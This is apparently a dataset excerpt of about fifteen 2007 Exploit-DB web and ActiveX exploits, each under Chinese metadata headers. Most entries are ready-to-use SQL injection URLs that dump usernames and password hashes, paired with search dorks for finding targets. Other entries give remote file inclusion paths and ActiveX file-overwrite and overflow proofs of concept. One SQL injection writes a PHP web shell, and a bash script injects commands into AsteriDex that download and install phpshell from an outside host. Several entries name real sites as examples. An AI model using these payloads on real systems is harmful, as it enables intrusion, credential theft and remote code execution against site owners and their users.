QLWD/code_shield huggingface dataset:
标题: GameSiteScript 3.1 - profile id SQL Injection EDB-ID: 4159 CVE: 2007-3631 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-07 漏洞利用脚本: ###############################################
####### GameSiteScript (Profile)($id) SQL-Injection Exploit
###############################################
### Vulnerability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################

{$id} Is passed straight to the query without being filtered.

###############################################
SQL-INJECTION:
###############################################

For Version 3.1:
-------
http://whatever.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1

Prior To 3.1:
-------
http://whatever.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1

###Tested by a bot on 27 sites, 22 were exploited.

###############################################

Dork: "Powered by GameSiteScript"

###############################################

# milw0rm.com [2007-07-07] URL: https://www.exploit-db.com/exploits/4159
标题: LimeSurvey (phpsurveyor) 1.49rc2 - Remote File Inclusion EDB-ID: 4156 CVE: 2007-3632 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-06 漏洞利用脚本: ## Owner : Pr0T3cT10n
## Email : Pr0T3cT10n@Gmail.Com
## Homepage : www.kamikaz-team.com
## Script site : www.limesurvey.org
## Script name : LimeSurvey (PHPSurveyor)
## Version : 1.49RC2
## Type : RFI(Remote File Include)
## Source : http://sourceforge.net/project/showfiles.php?group_id=74605
## D0rk : "You have not provided a survey identification number"

## Bug :
 ## Files :
  ## /admin/classes/pear/OLE/PPS/File.php
  ## /admin/classes/pear/OLE/PPS/Root.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer.php
  ## /admin/classes/pear/OLE/PPS.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php

## Exploit :
  ## /admin/classes/pear/OLE/PPS/File.php?homedir=[shell]
  ## /admin/classes/pear/OLE/PPS/Root.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer.php?homedir=[shell]
  ## /admin/classes/pear/OLE/PPS.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Worksheet.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Parser.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Workbook.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/Format.php?homedir=[shell]
  ## /admin/classes/pear/Spreadsheet/Excel/Writer/BIFFwriter.php?homedir=[shell]
  
## Thanks : str0ke

# milw0rm.com [2007-07-06] URL: https://www.exploit-db.com/exploits/4156
标题: PHPVID 0.9.9 - 'categories_type.php' SQL Injection EDB-ID: 4153 CVE: 2007-3610 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-06 漏洞利用脚本: --==+================================================================================+==--
--==+                       phpVID SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://www.vastal.com/
DORK: browse_videos.php?


DESCRIPTION:
pull out multiple admin/users at the same time.


EXPLOITS:
http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(admin_user,0x3a,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/admin_users/*
http://www.server.com/categories_type.php?cat=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/**/FROM/**/members/*



NOTE/TIP:
administrator login is at /admin/


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                       phpVID SQL Injection Vulnerbilitys                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-06] URL: https://www.exploit-db.com/exploits/4153
标题: eMeeting Online Dating Software 5.2 - SQL Injection EDB-ID: 4154 CVE: 2007-3609 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-06 漏洞利用脚本: --==+================================================================================+==--
--==+        eMeeting Online Dating Software 5.2 SQL Injection Vulnerbilitys         +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: eMeeting Online Dating Software
DORK: allintext:"Home Member Search Chat Room Forum Help/Support privacy policy"


DESCRIPTION: 
b.php and gallery.php ID among others on this script are SQL injectable.


EXPLOITS:
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/*
http://www.site.com/b.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,password),5,6,7,8,9,10/**/from/**/members/**/where/**/username=0x61646D696E/*

http://www.site.com/account/gallery.php?p=gal&id=-1/**/UNION/**/ALL/**/SELECT/**/null,null,null,concat(0x273e3c2f74643e,username,0x3a,password,0x3a,email,0x3c62723e3c2f2f),null,null/**/from/**/members/*


NOTE:
Doesnt look like admin user/password is stored in database, probably in the config. =/
Unless they made a user account with the same user/pass, the admin login is in
/newadmin/login.php if you want to try.

b.php only returns one row of data, but login not required.
gallery.php can return many rows but login is required.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+        eMeeting Online Dating Software 5.2 SQL Injection Vulnerbilitys         +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-06] URL: https://www.exploit-db.com/exploits/4154
标题: FlashGameScript 1.7 - 'user' SQL Injection EDB-ID: 4161 CVE: 2007-3646 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-08 漏洞利用脚本: ###############################################
### FlashGameScript <= 1.7 (member.php)($user) SQL-Injection Exploit
###############################################
### Vulnrability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################

{$user} Is passed straight to the query without being filtered.

###############################################
SQL-INJECTION:
###############################################

For Version 1.7:
-------
http://whatever.com/index.php?func=member&user='+union+select+0,0,0,0,0,0,0,0,0,0,username,password,0,0,0,0,0,user_type+from+members+where+user_type=2/*

Prior To 1.7:
-------
http://whatever.com/index.php?func=member&user='+union+select+0,0,0,0,0,0,0,0,0,0,username,password,0,0,0,0,user_type+from+members+where+user_type=2/*

 ###Tested by a bot on 18 sites, 15 were exploited.

###############################################

Dork: "Powered by FlashGameScript"

###############################################

# milw0rm.com [2007-07-08] URL: https://www.exploit-db.com/exploits/4161
标题: Chilkat Zip ActiveX Component 12.4 - Multiple Insecure Methods EDB-ID: 4160 CVE: 2007-3633 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-07 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">------------------------------------------------------------------------------
 <b>Chilkat Software Chilkat Zip ActiveX Component (ChilkatZip2.dll v. 12.4.2.0)
 "SaveLastError()" and "WriteExe()" Insecure Methods</b>
 
 url: http://www.chilkatsoft.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data
 IPersist Safe: Safe for untrusted: caller, data
 IPStorage Safe: Safe for untrusted: caller, data
 KillBitSet: Falso</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
------------------------------------------------------------------------------
<object classid='clsid:DB90DEA9-0897-4B02-9FE0-1E321A22EAB0' id='test'></object>

<script language='vbscript'>
    test.SaveLastError "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"Chilkat Zip")
</script>
</span>
</code></pre>

# milw0rm.com [2007-07-07] URL: https://www.exploit-db.com/exploits/4160
标题: HP Digital Imaging 'hpqvwocx.dll 2.1.0.556' - 'SaveToFile()' File Write EDB-ID: 4155 CVE: 2007-3649 类型: REMOTE 平台: WINDOWS 发布日期: 2007-07-06 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-------------------------------------------------------------------------------
 <b>HP Digital Imaging (hpqvwocx.dll v. 2.1.0.556) "SaveToFile()" Insecure Method</b>
 url: http://www.hp.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 This control is marked as:
 <b>RegKey Safe for Script: False
 RegKey Safe for Init: False
 Implements IObjectSafety: True
 IDisp Safe: Safe for untrusted: caller, data  
 IPersist Safe: Safe for untrusted: caller, data</b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 The browser seems to freeze for a few seconds, anyway if you try to close it
 before the exploit is ended, it will resutl in a DoS and the file will be
 overwritten though.
-------------------------------------------------------------------------------
<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='test'></object>

<script language='vbscript'>
    test.SaveToFile 1, "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"HP Digital Imaging")
</script>
</span>
</code></pre>

# milw0rm.com [2007-07-06] URL: https://www.exploit-db.com/exploits/4155
标题: VRNews 1.1.1 - 'admin.php' Remote Security Bypass EDB-ID: 4150 CVE: 2007-3611 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-05 漏洞利用脚本: VRNews v1.x <= /VRNews/admin.php Permission
 
Found by: R4M! - Rami@live.de
 
Dork: intitle:"vrnews v1"
 
Script: http://www.toocharger.com/fiches/scripts/vrnews/3632.htm
 
Example:
1. /VRNews/admin.php?act=edit
2. /VRNews/admin.php?act=add
3. /VRNews/admin.php?act=config
4. /VRNews/admin.php?act=del

# milw0rm.com [2007-07-05] URL: https://www.exploit-db.com/exploits/4150
标题: SuperCali PHP Event Calendar 0.4.0 - SQL Injection EDB-ID: 4141 CVE: 2007-3582 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-03 漏洞利用脚本: --==+================================================================================+==--
--==+      SuperCali Event Calendar SQL Injection Vulnerbility             +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://supercali.inforest.com/
DORK: allintext:"SuperCali Event Calendar"


DESCRIPTION: 
Pull out members info from the database.


EXPLOITS:
http://www.server.com/index.php?o=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(email,0x3a,password),4,5,0x677269642E706870/**/from/**/users/*

NOTE/TIP: 
normally the first result is admin info, click the upper right link labeled 'manage calender'
to login as admin


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+      SuperCali Event Calendar SQL Injection Vulnerbility             +==--
--==+================================================================================+==--

# milw0rm.com [2007-07-03] URL: https://www.exploit-db.com/exploits/4141
标题: PHPDirector 0.21 - 'videos.php?id' SQL Injection EDB-ID: 4139 CVE: 2007-3562 2007-3530 2007-3529 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: PHPDirector <= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

WEB APP: PHPDirector 0.21
SITE: http://www.phpdirector.co.uk/site/
DORK: "Powered by PHP Director"

AUTHOR: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]

* Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

DESCRIPTION: - SQL injection in $id of videos.php
             - admin & password are in config.php :-(
             - Path disclosure
             - It doesn`t deserve to make an sploit

EXPLOIT:

SQL INJECTION: http://www.site.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config

FIND ADMIN PASS & DB INFO:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file('[path_you_just_found]/config.php')%20FROM%20pp_config%20into%20outfile%20'[path_you_just_found]/config.txt'
3. Now check: http://www.site.com/config.txt

UPLOAD SHELL:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,'<?php%20system($_GET[cmd]);%20?>',3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20'[path_founded]/shell.php'%20FROM%20pp_config
3. http://www.site.com/shell.php?cmd=uname -a


GREETZ: all memberz of RST and milw0rm
//kw3rln [http://rstzone.net]

# milw0rm.com [2007-07-02] URL: https://www.exploit-db.com/exploits/4139
标题: EnjoySAP ActiveX kweditcontrol.kwedit.1 - Remote Stack Overflow (PoC) EDB-ID: 4148 CVE: 2007-3608 2007-3607 2007-3605 类型: DOS 平台: WINDOWS 发布日期: 2007-07-05 漏洞利用脚本: <!--
=======
Summary
=======
Name: EnjoySAP, SAP GUI for Windows - Stack Overflow
Release Date:  5 July 2007
Reference: NGS00483
Discover: Mark Litchfield <mark@ngssoftware.com>
Vendor: SAP
Vendor Reference: SECRES-289
Systems Affected: All Versions
Risk: High
Status: Fixed

========
TimeLine
========
Discovered:  4 January 2007
Released: 19 January 2007
Approved: 29 January 2007
Reported: 11 January 2007
Fixed: 18 May 2007
Published:

===========
Description
===========
EnjoySAP, also know as Enjoy is the most popular SAP GUI used today.  The
latest version can be obtained from ftp://ftp.sap.com/pub/sapgui/win/

When installing EnjoySAP, in appreciation of its vast size for being a
client (around 500MB), there are an astounding 1102 ActiveX controls
installed.

A relatively brief examinaton of these controls, found a large number of
instances that would terminate EnjoySAP process, there were a number that
could create files on the file system (there unfortunately exists no
ability to inject content into these created files) and a number of
bufferoverruns.

=================
Technical Details
=================
Control - kweditcontrol.kwedit.1 (Marked Safe For Scripting)

Function - PrepareToPostHTML

DLL Path - C:\Program Files\SAP\FrontEnd\SapGui\kwedit.dll

POC:
-->

<HTML>
<HEAD>
<META http-equiv=Content-Type content="text/html; charset=windows-1252">
<SCRIPT type=text/javascript>

function init()
{
var foo = "";

for(var icount = 0; icount < 1060; icount++)
{
 foo = foo + "x";
}
var ngssoftware;
ngssoftware = new ActiveXObject("kweditcontrol.kwedit.1");

ngssoftware["PrepareToPostHTML"](foo);
}
//-->
</SCRIPT>

</HEAD>
<BODY bgColor=#ffffff onload=init()>
</BODY></HTML>

# milw0rm.com [2007-07-05] URL: https://www.exploit-db.com/exploits/4148
标题: AV Arcade 2.1b - 'index.php?id' SQL Injection EDB-ID: 4138 CVE: 2007-3563 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: Web: AV Arcade 2.1b
Site : www.avscripts.net
Dork : "Powered By AV Arcade"

Author: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]
Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET


Description: SQL injection in $id of includes/view_page.php

Exploit:
/index.php?task=view_page&id=-1%20UNION%20SELECT%201,username,password%20FROM%20ava_users%20WHERE%20id=1

GREETZ: all memberz of RST and milw0rm
//kw3rln [ http://rstzone.net ]

# milw0rm.com [2007-07-02] URL: https://www.exploit-db.com/exploits/4138
标题: AsteriDex 3.0 - 'callboth.php' Remote Code Execution EDB-ID: 4151 CVE: 2007-3621 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-05 漏洞利用脚本: ##
## Begin exploit
##
#!/bin/bash

echo Asteridex PoC Exploit (callboth.php vulnerability)
echo By Carl Livitt / Hoku Security / June 2007
echo

# This has to be (a) a valid SIP address, and (b) must answer when dialled.
# The exploit will fail without these conditions being met.
# Currently uses the Melonite SIP echo test service.
SIP="190@sip.melonite.nu"

# Magic number, don't change. The default installation of AsteriDex checks
# for this number and fails without it.
SEQ=654321

# Other stuff we need
LOC=/asteridex/callboth.php
OUT=123456

# Sanity
if [ "$1X" == "X" ]; then
       echo Syntax: $0 \<Host IP\[:port\]\>
       echo For example: $0 www.example.com:8080
       exit 1
fi

# Insanity
echo "[-] Exploiting host $1 - please wait"
echo -n '[+]' Building shell script
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20\!/bin/sh>/tmp/t%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20wget%20%2dO%20x.tar.bz2%20%5c%27http://%3e%3e/tmp/t%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20%2dn%20prdownloads.sf.net/phpshell/%3e%3e/tmp/t%0d%0a" &>/dev/null
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20echo%20phpshell%2d2.1.tar.bz2%3fdownload%5c%27%3e%3e/tmp/t%0d%0a" &>/dev/null
echo '[+] Executing shell script'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp;chmod%20%2bx%20t;./t;tar%20jxf%20x.tar.bz2%0d%0a" &>/dev/null
echo -n '[+] Setting up phpshell'
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20cd%20/tmp;mv%20phpshell-2.1%20p%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%5c%5busers%5c%5d>config.php%0d%0a" &>/dev/null
echo -n .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20cd%20/tmp/p;echo%20%27trixbox%3d%22trixbox%22%27>>config.php%0d%0a" &>/dev/null
echo .
curl "http://$1/$LOC?SEQ=$SEQ&OUT=$OUT&IN=$SIP%0d%0aApplication:%20System%0d%0aData:%20mv%20/tmp/p%20/var/www/html/phpshell%0d%0a" &>/dev/null

# Have a nice day
echo "Done! You should now be able to browse to http://$1/phpshell/phpshell.php"
echo You can login with the username \'trixbox\' and password \'trixbox\'

##
## End Exploit
##

# milw0rm.com [2007-07-05] URL: https://www.exploit-db.com/exploits/4151
标题: Girlserv ads 1.5 - 'details_news.php' SQL Injection EDB-ID: 4142 CVE: 2007-3583 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-03 漏洞利用脚本: Girlserv ads <= 1.5 Remote SQL Injection Vulnerability

Found By : Cold z3ro , Cold-z3ro@hotmail.com

Homepages : http://hackteach.org , http://h4ps.com

Script : http://www.girlserv-demo.com/girlserv-ads1.5.zip

For Admin :
/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_name,3,4/**/from/**/admin/**/where%20admin_id=1/*
For password :
/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_password,3,4/**/from/**/admin/**/where%20admin_id=1/*

Example ;
http://www.girlserv.com/ads/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_name,3,4/**/from/**/admin/**/where%20admin_id=1/*
http://www.girlserv.com/ads/details_news.php?n=det&idnew=-1/**/union/**/select/**/0,1,admin_password,3,4/**/from/**/admin/**/where%20admin_id=1/*

=================================================
0-day Exploit :)
=================================================
Greets : Hackteach members , Pal-hacker.com admins ,  xp10.com members , and
All friend
=============================================
Cold !F iT z3ro , No One Equal One
=============================================

#Long life Palestine
#http://hackteach.org

# milw0rm.com [2007-07-03] URL: https://www.exploit-db.com/exploits/4142
标题: vbzoom 1.x - 'forum.php?MainID' SQL Injection EDB-ID: 4140 CVE: 2006-3142 类型: WEBAPPS 平台: PHP 发布日期: 2007-07-02 漏洞利用脚本: --/ Long Life Palestine  --

     HHHHHH  HHHHHH HH      HHHHHH  HHHHHH HHHHHHHH  HHHH HH    HH HHHHHH
     HH   HH HH  HH HH      HHHHH  HH         HH      HH  HHH   HH HHHHH
     HH   HH HH  HH HH      HH     HH         HH      HH  HHHH  HH HH
     HHHHHH  HHHHHH HH      HHHHH   HHHHHH    HH      HH  HH HH HH HHHHHH
     HH      HH  HH HH      HH           HH   HH      HH  HH  HHHH HH
     HH      HH  HH HH      HHHHH        HH   HH      HH  HH   HHH HHHHH
     HH      HH  HH HHHHHHH HHHHHH  HHHHHH    HH     HHHH HH    HH HHHHHH

                 HH  HH HHHHHH HHHHHH HH   HH HHHHHH HHHHHH
                 HH  HH HH  HH HHHHHH HH  HH  HHHHH  HHH HHH
                 HH  HH HH  HH HH     HH HH   HH     HH  HH
                 HHHHHH HHHHHH HH     HHHH    HHHHHH HHHHH
                 HH  HH HH  HH HH     HH HH   HH     HH  HH
                 HH  HH HH  HH HHHHHH HH  HH  HHHHH  HH   HH
                 HH  HH HH  HH HHHHHH HH   HH HHHHHH HH    HH
--/ Long Life Palestine  --

vbzoom 1.x (forum.php MainID) Remote SQL Injection Vulnerabilities

Found By : Cold z3ro , Cold-z3ro@hotmail.com
Homepages : http://hackteach.org , http://h4ps.com

For user :
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

Example :
http://1yemen.com/vb//forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*

http://www.vz.elagha.net//forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

ÃžÃ£Ã¤Ã‡ ÃˆÃŠÃ›Ã­Ã‘ Ã‘Ã‡ÃˆÃ˜ Ã£Ã¦ÃžÃšÃ¤Ã‡ Ã¡Ãœ
http://hackteach.org

-----------
Thx For : RomancyxHacker , Mogatil , Abo0oD , Mohandko , The Wolf Ksa , Root-Shell ,          Viper Hacker , By_3mry , All Friends

# www.hackteach.org

# milw0rm.com [2007-07-02] URL: https://www.exploit-db.com/exploits/4140